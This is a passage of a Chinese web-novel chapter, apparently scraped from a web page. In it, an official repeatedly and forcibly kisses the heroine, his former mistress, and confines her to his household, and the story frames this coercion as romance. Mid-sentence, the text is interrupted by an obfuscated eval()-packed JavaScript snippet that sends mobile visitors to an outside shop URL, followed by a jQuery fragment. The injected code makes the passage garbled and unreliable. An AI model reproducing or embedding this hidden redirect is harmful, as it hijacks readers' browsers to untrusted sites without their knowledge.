林宝珠原本以为,陆遇亭虽然爱对自己动手动脚的,但也再没有除了抱她以外更过分的举动。
这反而让她松了一口气。
这样的话,只要她不回应,采取冷处理策略,他总会觉得没意思吧?到时候会不会就放她走了?
林宝珠觉得自己想的很有道理,或许也是这两年过的太顺了,她开始爱把事情往好的方面想。
反正她有钱有家底,只要陆遇亭不记恨她,那她林宝珠最不缺的,就是退路。
抱着这样的想法,林宝珠慢慢的对陆遇亭每天时不时的拥抱都没那么抗拒了。
直到那天晚上。
那天陆遇亭回来得要比平时晚,都察院有个急案,他在宫里待了一整天,回府时已是戌时。
林宝珠刚沐浴完,头发还湿着,坐在房里让清荷给她擦头发。
陆遇亭晚回府也不是一次两次了,寒门出身的少年权臣,本来这个年纪坐在这个位置上就非议不断了,每天要是还那么清闲,估计早就被言官的唾沫星子淹死了。
虽说陆遇亭应该也不会怎么在意这些话,但在其位谋其职,也是他应该做的事。
他一走进来,就看到林宝珠靠在妆台上,手撑着半边粉嫩的脸颊,在铜镜前打了个哈欠,任由身后的清荷摆弄她的头发。
陆遇亭的眸光动了动。
青年几步走上前,清荷从镜子里看到了从后边走来的陆遇亭,立马就条件反射的想行礼。
但被陆遇亭极快的制止,挥了挥手让她退在一旁,自然地接过她手里替林宝珠绞干头发的布,轻柔的替上清荷方才的动作,帮少女擦拭发尾的水珠。
他的动作很轻,手指穿过她的发丝,指腹偶尔擦过她的后颈。
其实陆遇亭一靠近,林宝珠就闻到了他身上的冷香。
因着这些天的肢体接触,她好像慢慢已经习惯了他的靠近。
但其实从前在凌州林府,他还在伺候她的时候,林宝珠就已经习惯过了。
“你走路怎么都没声?”
陆遇亭的手指顿了一瞬,但很快就继续帮她擦头发,语气柔和道:
“小姐不是知道是我吗?”
林宝珠“嘁”了一声,没再接话。
“今天都察院有个案子拖晚了,没能陪小姐用晚膳,小姐莫怪。”
林宝珠结结实实的翻了个白眼。
大哥哥,没有你在,本小姐吃饭都快哉快哉了好吗?
但她没有说出口,只是淡淡的回了一句:
“哦。”
她的话语刚落,头发上的手似乎停了下来,屋子里突然就安静极了。
林宝珠被这突如其来的静默弄的咯噔一下,悄悄透过铜镜去看身后人的表情。
陆遇亭的眼睫垂着,低头看着她的发顶,红唇轻抿,不知道在想什么。
林宝珠莫名有些心慌。
但很快,陆遇亭的手指从她发间移到她肩头,将她轻轻扳过来面对自己。
林宝珠这才发现他今天有些不一样,墨色的眼眸翻涌着让她深沉的害怕的情绪,白皙的下颌绷得很紧。
她刚想说你怎么了,他忽然俯身,伸手把她抱到妆台上坐着,然后便捧起她的脸,拇指抵在她下颌角,低头就吻了下来。
林宝珠脑子里“嗡”的一声。
他的唇很烫,带着清冽的松烟墨气息,铺天盖地地压过来。
她瞪大眼睛,看着他近在咫尺的睫毛,大脑空白了整整三息。
显然,林宝珠的身体比脑子要动的快,她猛然用力的推开他,抬手就是一巴掌扇了过去。
啪!
这一巴掌,她又是羞愤又是恐惧。
“陆遇亭,你放肆!”姑娘的声音尖利,还带着细微的颤抖。
而这话一说出口,林宝珠就后悔了。
从前陆遇亭在林府时,她穿过来之后就没打过他了。
首先是因为他确实乖,但其次最重要的是,她怕他记恨她,所以每次都是嘴上说的唬人,但其实根本没动手过。
他从前是奴才时她不敢打他。
现在他是位高权重的陆大人了,她就更不可能有那个胆子了。
所以扇完那一巴掌之后,林宝珠心里浮起一个念头:
完蛋了。
旁边的侍立的丫鬟们更是吓得跪了一地,清荷也跪在一旁的地上,把头埋得低低的,连呼吸都不敢出声。
陆遇亭被打的微微偏过头,舌尖轻轻顶了一下被她扇过的那半边脸颊,然后慢悠悠的转回来看着她。
林宝珠以为他会发火,会拂袖而去,会用自己四年前的梦里频频出现的那种冷冰冰的眼神看她。
她的大脑一片空白,完全不知道该怎么办。
接着,她就看到眼前的男人笑了。
那笑容很轻,嘴角弯起的弧度温柔的要腻出水,可他眼底翻涌的东西却让她下意识腿软。
就在林宝珠准备跳下妆台,先跑为敬时,青年伸手扣住她的后腰,将她重新困在他和妆台之间:
“我们家小姐,还真是……一点没变。”
说完,他就低头再次覆上她的唇。
林宝珠的眼睛蓦然睁大。
这一次的吻就不像刚才那样,只是浅浅覆上了。青年带着被压抑了太久的情感,在姑娘的唇瓣上狠狠掠夺。
林宝珠几乎被吻得喘不过气来,双手推着他的胸口,却像推一堵墙,纹丝不动。
她的呼吸被他的气息彻底淹没。
很快,陆遇亭就不止满足于唇与唇之间的厮磨。
他轻咬林宝珠柔软的下唇,姑娘就被这突然的一下弄的一激灵,微微张开了口,而男人的唇舌便趁势而上。
缠上姑娘舌尖的那一刻的感觉,比他这些年的任何一个梦里都要好上一万倍。
林宝珠真实的嘴唇比他收藏几年的帕子上残留的香气要更甜更软。
她的细腰还在他掌下微微颤抖,小姑娘被他吻得气急败坏却推不开他的样子,更是比任何四年间没断过的幻想都更让他发疯。
直到她快要喘不过气,呜咽着挣扎拍拍男人的肩膀,他才意犹未尽的放开。
唇与唇分开时的那一声在寂静的房里显得格外突兀,可谓是听得人脸热。
但林宝珠显然没办法注意这些了。
她被陆遇亭松开后就大口喘着气,嘴唇红得像是涂了一层口脂,眼眶也红红的,不知是气的还是羞的。
丫鬟们还在地上跪着,头都快埋进地砖里了,谁都知道主子们在做什么,但谁也不敢抬头看。
“你这个疯子!”林宝珠用力去推他握着自己腰的手,却反被收紧了。
“嗯,”陆遇亭只是应了一声,拇指擦过自己唇角,用那种她最熟悉的恭敬语气说:
“小姐教训得是。”
可他拇指擦过唇角的样子,眼底还没褪去的暗色,以及握在她腰侧纹丝不动的手臂,就没有一样是恭敬的。
“出去!你给本小姐出去!”林宝珠挣不开他,忍着唇上的酥麻,虚张声势的指着门口斥道。
她的眼眶里不知何时涌上了些生理性的眼泪,一双杏眼亮晶晶的,更像只炸毛的漂亮小猫了。
看着姑娘被自己亲吻后更惹人怜爱的样子,他喉结动了动,视线再次不受控的转移到她的唇上。
察觉到他的目光,林宝珠心跳加快,连忙捂住自己的唇:
“陆遇亭,你……你冷静一点。”
但男人的脸慢慢贴近了过来。
当林宝珠以为自己又要被狠狠亲了的时候,柔软的唇瓣落到了她的额头上。
“明日我再来陪小姐。”
说完,他就把她从妆台上抱了下来,放回到座位上。
“照顾好小姐。”
“是,大人。”
林宝珠坐在位置上,显然还没完全从刚刚那个热烈的亲吻里出来。
看着人快步走出房间,她才慢慢缓过来。
他就这么……走了?
林宝珠轻抚自己的唇瓣,看着铜镜里脸颊通红的自己,慢慢把脸埋进掌心,倒在妆台前发出一声哀嚎。
“救命啊……”
事情到底是怎么走到现在这一步的啊?!
她不知道的是,刚刚走出房门的陆遇亭,现在站正在院子里吹冷风。
他也在触碰自己的嘴唇。
想到刚才的事,他差点就停不下来了。
如果还要继续的话……
他闭上了眼睛。
估计不会只是接吻这么简单了。
他想了她实在太久了。
陆遇亭比谁都清楚自己的心思,从在她身边开始,这样的心思在几千个日夜里,就已经没断过了。
但林宝珠没想到,更要命的事情,其实还在后面。
那天之后,陆遇亭就彻底撕下名为“克制”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734870|203455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的面具。
应对他时不时的亲吻和拥抱一样,成了林宝珠每天的新日常。
林宝珠之前还以为,只要自己坚决不给回应,他迟早会觉得没意思。
可亲吻事件之后她发现,原来自己还是低估了这个人的耐心和脸皮。
陆遇亭每天下朝回府之后,要做的第一件事依旧是来寻她,不论回府多晚都是这样。
有时候只是蜻蜓点水的轻吻,把她抱过来嘴唇碰一碰她的嘴角就退开,像是寻求安慰的小动物。
但有时候她一句话惹了他不痛快,他就会把她按在墙上或榻边,吻得又深又狠,直到她气喘吁吁地捶他的胸口才肯松开。
林宝珠不是没想过躲起来,但他下朝的时间不固定,谁知道他今天什么时候会来找她?
而且御史府全是他的人,她能吩咐谁不暴露她的行踪?
但每天被他温水煮青蛙似的亲吻实在太被动了,抱抱习惯了还行,接吻怎么能习惯呢?
她和他又不是在一起了什么的……
林宝珠被自己的想法吓了一跳。
绝对不行,谁知道她和小说男主要是在一起了,会发生什么事情?
那不是整个小说世界都不对了吗?
不行,她还是要跑。
而且这次必须要跑的彻底。
可陆遇亭安排在她身边看着她的人可不少。
于是林宝珠换了个策略。
与其每次都像木头一样被他亲得喘不过气,不如自己掌握主动权,慢慢让他对自己的戒备松懈下来。
这几天下来,她发现如果她主动亲他,比如在他下朝回来时踮起脚尖在他脸颊上轻轻碰一下,他反而会收敛一些,只是搂着她的腰把脸埋在她颈窝里,安静地抱上一会儿。
所以最近,她回亲或者主动亲他的频率开始变高了。
陆遇亭当然察觉到了林宝珠的态度变化,浸润朝堂多年,他又何尝想不到林宝珠可能打的什么心思。
但他不在乎。
因为这一次,他绝不会给她机会离开他身边。
*
那天在书房里,林宝珠亲完他刚要退开,陆遇亭立即伸手扣住她的腰,将人整个捞回来,低头再次封住她的唇。
和平常的深吻一样,他的唇舌在她的口腔里席卷,像是要把她吞进去。
他的手沿着她的腰线往上,隔着衣料覆在她后背,将她按向自己。
林宝珠被他亲得软了腰,双手揪着他的衣襟,脑子里全是浆糊。
接吻结束之后,她把下巴放在他肩上轻喘,哼哼道:
“你,你能不能别每次都要亲那么重?”
他笑着应了一声,低头在她额角落下一个很轻的吻。
于是她开始趁他心情好的时候提要求。
这也是她准备策略的一部分。
“我想回江东看看,”她抱着他的脖颈,在他耳边轻蹭道:“我的产业现在都在那边,总不能一直放着不管。”
“小姐在江东的产业,”他稳稳的抱着她,翻了一页公文,“这两日就会搬到京城。铺子和田庄都有人打理,不会折本。”
“江东的宅子先空着,以后小姐想去小住也方便,我会让人定期过去打扫。”
林宝珠愣住了,反应过来后咬了咬唇。
“还有翠云和阿文,”她不死心,接着道:“你府上的丫鬟伺候得我不习惯,我……”
“翠云和阿文已经在路上了,不日便到。”
“同行的还有苏伯和几个老掌柜,小姐的体己箱子也在车上,一样不少。”
他寥寥几句,就把她林宝珠想的回江东一趟的借口全部堵死了。
她从他怀里直起身来,恼怒的瞪着他。
而青年人回视着她,表情依旧是那副波澜不惊的温和。
“……你是不是早就这么想好了?”
“小姐说笑了。”他的语气依旧恭敬得无懈可击,但眼底的笑意出卖了他。
林宝珠深吸一口气,从他怀里挣出来,头也不回地往自己屋里走。
陆遇亭也没拦她,就这样撑着下巴看着姑娘气鼓鼓往外走的背影。
“你今天都别来烦我!我不想看见你!”
然后便是摔门的声音。
陆遇亭轻笑一声,收起手上看完了的公文,慢悠悠的站起身,走了出去。
而他走的方向,正是林宝珠住的东厢房。